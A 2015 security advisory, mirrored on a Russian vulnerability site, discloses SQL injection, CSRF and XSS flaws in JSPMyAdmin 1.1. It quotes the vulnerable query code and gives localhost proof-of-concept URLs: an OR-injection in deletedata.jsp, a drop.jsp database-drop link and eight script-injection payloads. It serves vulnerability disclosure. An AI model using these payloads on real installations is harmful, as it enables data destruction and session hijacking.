Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  Xloner v3.1.2 wordpress plugin authenticated command execution and XSS

  CVE-2015-4010 - Cross-site Request Forgery & Cross-site Scripting in Encrypted Contact Form Wordpress Plugin v1.0.4

  AnimaGallery 2.6 (theme and lang cookie parameter) Local File Include Vulnerability

  Symphony CMS 2.6.2

From:apparitionsec_(at)_gmail.com <apparitionsec_(at)_gmail.com>
Date:8 июня 2015 г.
Subject:JSPMyAdmin SQL Injection, CSRF & XSS Vulnerabilities



Credits: John Page ( hyp3rlinx )
Domains:  hyp3rlinx.altervista.org

Source:
http://hyp3rlinx.altervista.org/advisories/AS-JSPMYADMIN0529.txt

Vendor:
code.google.com/p/jsp-myadmin


Product:
JSPAdmin 1.1 is a Java web based MySQL database management system.


Advisory Information:
================================================
JSPMyAdmin 1.1 SQL Injection, CSRF & XSS Vulnerabilities


SQL Injection
CSRF
XSS



Vulnerability Details:
=====================

SQL Injection:
deletedata.jsp is supposed to delete 1 field per query, yet we can control the SQL and build an OR condition.
Problem is application uses concatenated user input to build SQL statements even though paramaterized queries are used.

In deletedata.jsp we find the following code:

con.prepareStatement("DELETE FROM " + table + " WHERE "+ field + "='" + val +"'");

So expected SQL to be run is this deleting 1 record.

e.g.
http://localhost:8081/JSPMyAdmin/deletedata.
jsp?db=test&table=email&field=CATID&val=7

But the SQL Injection vulnerability lets us instead drop all fields using an SQL 'OR' statement.

e.g.
http://localhost:8081/JSPMyAdmin/deletedata.
jsp?db=test&table=email&field=CATID or 'field'='NAME'

*********************************************************************************
****************


CSRF:
We can drop any database by sending victim malicious linx as there is no CSRF token used.
*********************************************************************************
********


XSS:

There is zero user input checks allowing remote attackers to execute arbitrary scripts in the
context of an authenticated user's browser session.
***************************************************



Exploit code(s):
===============

SQL Injection POC:
------------------

So expected SQL to be run is this deleting 1 record
http://localhost:8081/JSPMyAdmin/deletedata.
jsp?db=test&table=email&field=CATID&val=7
http://localhost:8081/JSPMyAdmin/deletedata.
jsp?db=test&table=email&field=CATID or 'field'='NAME'


CSRF POC:
---------
http://127.0.0.1:8081/JSPMyAdmin/drop.jsp?db=mydb



XSS(s) POC:
----------
 
1- </title><script>alert('XSS By hyp3rlinx');</script><title>
  Using POST method in 'host' parameter of login page.
  http://127.0.0.1:8081/JSPMyAdmin/

2- http://127.0.0.1:8081/JSPMyAdmin/right.
jsp?server=localhost&db="/><script>alert(666)</scrip
t>

3- http://127.0.0.1:8081/JSPMyAdmin/right.
jsp?server="/><script>alert(666)</script>&db=

4- http://127.0.0.1:8081/JSPMyAdmin/tabledata.
jsp?db="/><script>alert(666);</script>

5- http://127.0.0.1:8081/JSPMyAdmin/tabledata.
jsp?server=localhost&db=mysql&table="/><script>alert(66
6);</script>

6- http://127.0.0.1:8081/JSPMyAdmin/tabledata.
jsp?server="/><script>alert(666);</script>&db=

7- http://127.0.0.1:8081/JSPMyAdmin/query.
jsp?server="/><script>alert(666)</script>&db=

8- http://127.0.0.1:8081/JSPMyAdmin/export.
jsp?db=test&table=<script>alert(666)</script>




Disclosure Timeline:
=========================================================


Vendor Notification:  NA
May 29, 2015: Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================

Request Method(s):
                               [+] GET / POST

Vulnerable Product:
                               [+] JSPMyAdmin 1.1

Vulnerable Parameter(s):
                               [+] host, server, db, table

Affected Area(s):
                               [+] Entire admin

===============================================================

(hyp3rlinx)

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород